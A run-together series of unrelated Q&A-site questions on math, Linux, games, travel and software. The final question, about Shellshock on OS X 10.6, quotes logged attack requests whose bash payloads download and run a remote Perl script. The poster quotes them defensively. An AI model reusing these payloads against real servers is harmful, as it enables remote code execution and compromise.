How can I play older versions of Minecraft?   I want to play 1.6.4, but my current installed version is 1.7.2
How do I downgrade Minecraft to play on a server running an older version?
The polar of a convex body $C$ is defined as:  For a convex body $C$, its polar $C^*$ is given by $$C^* = \{x\in\mathbb{R}^n: \langle x,c\rangle \le 1, \forall c\in C\}$$  If I start with an orthonormal basis $(e_i)_1^n$, positive constants $(\alpha_j)_1^n &gt; 0$ and the ellipsoid $$\varepsilon = \left\{x\in\mathbb{R}^n: \sum\limits_{j=1}^n \frac{\langle x,e_j\rangle^2}{\alpha_j^2} \leq 1  \right\}$$ how do I show that its polar ellipsoid is $$\varepsilon^* = S_1 = \left\{y\in\mathbb{R}^n: \sum_{j=1}^n \alpha_j^2 \langle y,e_j\rangle^2 \le 1\right\}$$ Using the definition, I saw that $$\varepsilon^* = S_2 = \{z\in\mathbb{R}^n: \langle z,x\rangle \le 1, \text{for all }x\in \varepsilon\}$$ Also, $\langle z,x\rangle = \sum_i\langle z,e_i\rangle\langle x,e_i\rangle$ I used Cauchy Schwartz to do one side of the proof, i.e. $S_1\subseteq S_2$: $$\left(\sum_i\langle y,e_i\rangle\langle x,e_i\rangle\right)^2 \leq \left(\sum_i\alpha_i^2 \langle y,e_i\rangle^2\right)\left(\sum_i \frac{\langle x,e_i\rangle^2}{\alpha_i^2}\right) \le 1 \implies \langle y,x\rangle \le 1$$ I need help with the other direction, i.e. $S_2\subseteq S_1$. Which other inequality might help? Can I run out of disk space by creating a very large number of empty files? It is well-known that empty text files have zero bytes:    However, each of them contains , which according to my research, is stored in , and do use space.   Given this, it seems logical to me that it is possible to fill a disk by purely creating empty text files. Is this correct? If so, how many empty text files would I need to fill in a disk of, say, 1GB?    To do some checks, I run df -i but this apparently shows the % of inodes being used(?) rather than how much they weigh.  Filesystem             Inodes  IUsed    IFree IUse% Mounted on udev                   947470    556   946914    1% /dev tmpfs                  952593    805   951788    1% /run /dev/sda2            28786688 667980 28118708    3% / tmpfs                  952593     25   952568    1% /dev/shm tmpfs                  952593      5   952588    1% /run/lock tmpfs                  952593     16   952577    1% /sys/fs/cgroup /dev/sda1                   0      0        0     - /boot/efi tmpfs                  952593     25   952568    1% /run/user/1000 /home/lucho/.Private 28786688 667980 28118708    3% /home/lucho Adding objects algorithm in Objective-C Is There a Natural Way to Extend Repeated Exponentiation Beyond Integers? This question has been in my mind since high school.  We can get multiplication of natural numbers by repeated addition; equivalently, if we define $f$ recursively by $f(1)=m$ and $f(n+1)=f(n)+m$, then $f(n) = m \times n$.  Likewise, we get exponentiation by repeated multiplication. If $g(1)=m$ and $g(n+1)=mg(n)$, then $g(n) = m^n$.  In my high school mind it was natural to imagine a new function defined by repeated exponentiation: $h(1)=m$ and $h(n+1)=m^{h(n)}$.  These definitions only make sense for $n$ a natural number, but of course there are standard very mathematically satisfying ways to define multiplication and exponentiation by any real number. My question is this:  Can the function $h$ defined above also be extended in a natural way to $\mathbb{R}^{&gt;0}$?  The question is in the spirit of seeking an extension of $f(n)=n!$ to $\mathbb{R}$ and arriving at $\Gamma(x)$.  Let me focus the question, and attempt to make precise what I mean by "in a natural way." Take $h(1)=2$ and $h(n+1)=2^{h(n)}$. $h$ is now defined on $\mathbb{N}$, and $h(2)=4$, $h(3)=16$, $h(4)=2^{16}=65,536$ etc. Is it possible to extend the domain of definition of $h$ to all positive reals in such a way that  a) The functional equation $h(x+1)=2^{h(x)}$ continues to be satisfied for all $x$ in the domain.  b) $h$ is $C^\infty$. (Analytic would be even better but this seems maybe too much to hope for?)  c) All $h$'s derivatives are monotone.  These requirements are my attempt to codify what would count as "natural." I am open to suggestions about what would be a better list of requirements.  If such a function exists, I would like to know how to construct it; if it doesn't, I would like to know why (i.e. outline of proof), and if relaxing some of the requirements (e.g. just the first derivative monotone) would make it possible.  (If the function exists, I am also interested in the questions, "is it unique?" "Could we add some natural requirements to make it unique?" But my main query is about existence.) I was really happy when I heard that HoTD would be continued. And even happier when the first new chapter actually came. but now after several months of waiting there still has been no other chapter. So my question is, has HoTD gone on hiatus again ? When is $(p - 1)! + 1$ a power of $p$? A friend asked me this question:     If $p$ is a prime, prove that $(p - 1)! + 1$ is a power of $p$ if and only if $p = 2, 3$ or $5$.   Clearly one direction is obvious, namely that $p=2,3,5$ implies $(p - 1)! + 1$ is a power of $p$.  The other direction is not clear to me. Since by Wilson's theorem $p$ divides $(p - 1)! + 1$ so we need to show that if there are no other prime factors then $p=2,3,5$. Can someone give me a hint for establishing this?  Thanks Mapping JSF .xhtml files to no extension I tried to use my Virtual Box and this is the error I received - (I just updated to the new Ubuntu also) and I am VERY new at this Linux OS.     Kernel driver not installed (rc=-1908)      The VirtualBox Linux kernel driver (vboxdrv) is either not loaded or   there is a permission problem with /dev/vboxdrv. Please reinstall the   kernel module by executing      '/etc/init.d/vboxdrv setup'      as root. Users of Ubuntu, Fedora or Mandriva should install the DKMS   package first. This package keeps track of Linux kernel changes and   recompiles the vboxdrv kernel module if necessary. How can I connect the top loop to the down loop with faces Hey I want to connect the bottom loop with the top loop so that it forms a solid.  I have tried selecting multiple vertices and pressing F but that just creates a large face which I do not want. I have tried using grid fill bu that doesn't work either. The solution that seems to work is by selecting four vertices and pressing F and then selecting the next 4 and pressing F and on and on. That just takes too long. There aren't any new or popular questions. There are tons of questions in both of those tabs but the question count is 0 for both of those when I try to view them in the expanded view. Using RegEX To Prefix And Append In Notepad++ I have quite a large list of words in a txt file and I'm trying to do a regex find and replace in Notepad++. I need to add a string before each line and after each line.. So that:   wordone wordtwo wordthree   become   able:"wordone" able:"wordtwo" able:"wordthree"   How can I do this? How to read command line arguments of another process in C#? How can I obtain the command line arguments of another process?   Using static functions of the System.Diagnostics.Process class I can obtain a list of running processes, e.g. by name:  Process[] processList = Process.GetProcessesByName(processName);   However, there is no way to access the command line used to start this process. How would one do that? How does Cypher exit/enter the Matrix without an operator? In The Matrix, Cypher enters the Matrix to speak with the Agents, then leaves again. We never see if he has an operator, and as he kills Tank and Dozer you might assume he doesn't have one.  If he didn't have an operator how does he jack in/out of the Matrix? Consequences of a master thesis with errors I finished my master thesis 6 years ago, since then I gained a lot of experience on my field and also in academia. I can say that in that time I was a "child" , very inexperienced. I think that also my advisor did not help a lot, and I tried to do  a lot of things by my own, without someone to really review my things. Despite that, I still received a good mention by the master committee on final results.   Some days ago, I just decided to read part of master thesis, and I just realized a big nightmare coming. I identified a lot of typos, some references errors, and some improvements that I should do, but I did not. The worst thing is that I wrote a paper to a conference with my master thesis results (and some errors are there). The conference is not a high impact conference, but still the paper has my name and is available for everyone...   As I am finishing my PhD studies for now, I am concerning a lot that situation. My dream and goal is to pursue a Professor career. So, my questions are: What are (or could be) the consequences of a master thesis and paper with errors (some minor and some major) in academia? Revoke degree after years by errors in master is possible ( I am concerning a lot this situation that I thought on it)? How can I minimize it (I thought that I can put a fixed version of my thesis and paper in the future, for instance on my personal website)? How those errors can impact me in a Professor recruitment process?  Sorry for the long text, I am blaming myself all the time, and really afraid about the possibilities since I know that Academia career is really competitive. How to book this complex multi carrier roundtrip flight I found on ITA? I am trying to book a roundtrip ticket from Chicago O'hare (ORD) to Mumbai, India (BOM). Traveling on Aug 9th and returning on Aug 24th. Now, I've been looking for several days (almost 10days!) for ways to book this itinerary I found on ITA. All other websites like Expedia, Kayak, Travelocity, Momondo, RouteHappy, and even google flights are quoting around $1200 roundtrip cost, sometimes as low as $1150. But the ITA Matrix website shows me several options, the lowest is $916 roundtrip.      You can see there are several flights in the $900 range.     For the return trip there is only one option to get the low price.  Selecting the flights this is what I get:      I'm not sure how to use the fare codes the ITA website provides to purchase this itinerary.  These are some of the things I have tried to book the complex multi-carrier flight from ITA:  My first method was to try coding into HIPMUNK, using the multi-city option, my departure, connections, airlines flights number and dates. Following this method:     And the results page:    Here's what my code into HIPMUNK looks like:  ORD::LH9151 FRA LH756 for the first journey and   BOM::LX155 ZRH SN5104 BRU SN8803 for the return trip.  Don't think I'm making any mistakes in coding it, but there are two adjustments I also made which failed:   I used the dates of the first leg of the flight then tried using the other dates as well. So for example Aug 9th and Aug 10th. I used the codes for the operating carriers and when it didn't work, the marketing carrier leaving the flight number unchanged.   This always returned no results. Breaking up the itinerary to just the oneway from ORD to BOM worked but gave me a price of $624. For some reason the second return trip was creating problems. I tried breaking he return trip down into different segments but no luck. Anyone knows why the return trip is creating difficulties? Coding issues/ hipmunk doesn't have such a large database?   Then I tried method 2: Calling up the airlines  United was able to find all the segments, even price it correctly sometimes (sometimes not) and gave me a confirmation number. I was to call them in 12hrs to check if they were able to procure the seats but when I did call they were not able to get the seats for the SWISS flight from BOM to ZRH and/or from ZRH to BRU. I've tried this at least 5 times changing small things everytime, but the same result. It seems Lufthansa waits for SWISS to confirm the seats but SWISS doesn't respond in time and I'm not able to book.  I tried calling Lufthansa but they were not even able to find the segments and instead told me to look at booking online where I will be able to find it cheaper.  Any insights into the methods that failed or suggestions on how to book this itinerary at the $900 price will be much appreciated. Thanks in advance. Evaluate  $$\lim_{n\to\infty} \left(\frac{1^p+2^p+3^p + \cdots + n^p}{n^p} - \frac{n}{p+1}\right)$$ The problem of counting the solutions $(a_1,a_2,\ldots,a_n)$ with integer $a_i\geq0$ for $i\in\{1,2,\ldots,n\}$ such that $$a_1+a_2+a_3+....a_n=N$$ can be solved with a stars-and-bars argument. What is the solution if one adds the constraint that $a_i\leq r_i$ for certain integers $r_1,\ldots,r_n$?  e.g. for $n=3$, $N=6$ and $(r_1,r_2,r_3)=(3,3,2)$, the tuple $(a_1,a_2,a_3)=(2,3,1)$ is a solution, but $(2,1,3)$ is not a solution because $a_3=3&gt;2=r_3$. Tuning PostGIS for production environments? What PostGIS documentation have you come across that has been helpful when tuning PostGIS for a production environment?  I would like to get together with my DBA to setup a Postgresql/PostGIS installation that is fit for production. I have read that there is some tweaking involved to achieve this, and I was hoping to find the answer on the .  So far I have found some documents on the OpenGeo site helpful, .  And this  is the kind of information I have found helpful, this is probably just basic DB stuff but to me its good stuff.  I would be interested to see what resources have helped others in achieving a stable production installation of PostGIS. Can I pack a cardboard box as checked luggage? As mentioned in , I'm planning on traveling with a desktop computer as checked baggage. After considering the options, I've decided to take it in its original cardboard box (used for shipping), making sure to pad everything inside very well.  What should I do to securely prepare the box before checking it in? Some suggestions others have given me so far:   Spray paint the box black so it's not obvious there's a computer inside. Wrap the entire box with duct tape to reinforce it. Use tape to seal the "hand holes" on either side used for carrying the box. Run packing tape around all the edges to reinforce the box. Apple Shellshock patch for 10.6? I am running a small HTTP server (Apache) off my Mac mostly as a hobby. If it becomes compromised it isn't the end of the world but it is something I would certainly like to prevent. I set up a launchctl job to check the Apache log file for possible requests related to Shellshock and last night I received to two related entries:   82.221.128.246 - - [29/Sep/2014:08:14:41 -0400] "GET / HTTP/1.1" 200 2081 "-" "() { :;}; /bin/bash -c \"wget http://82.221.105.197/bash-count.txt\"" 173.45.100.18 - - [29/Sep/2014:00:52:07 -0400] "GET /cgi-bin/hi HTTP/1.0" 404 208 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget http://213.5.67.223/ji;curl -O /tmp/ji http://213.5.67.223/jurat ; perl /tmp/ji;rm -rf /tmp/ji;rm -rf /tmp/ji*\""   The first one looks harmless and the IP hosts a very legitimate looking website claiming that their requests are for research purposes only. The second one is a different story though, it tries to download and run a Perl script. Fortunately I don't have wget installed so this attack didn't work but it seems like it's only a matter of time before I get a request like this that does some damage.  Apple just released patches for OS X 10.7 and latter but unfortunately I am running 10.6. What simple and reliable measures can I take (i.e. not ) to reduce my risks?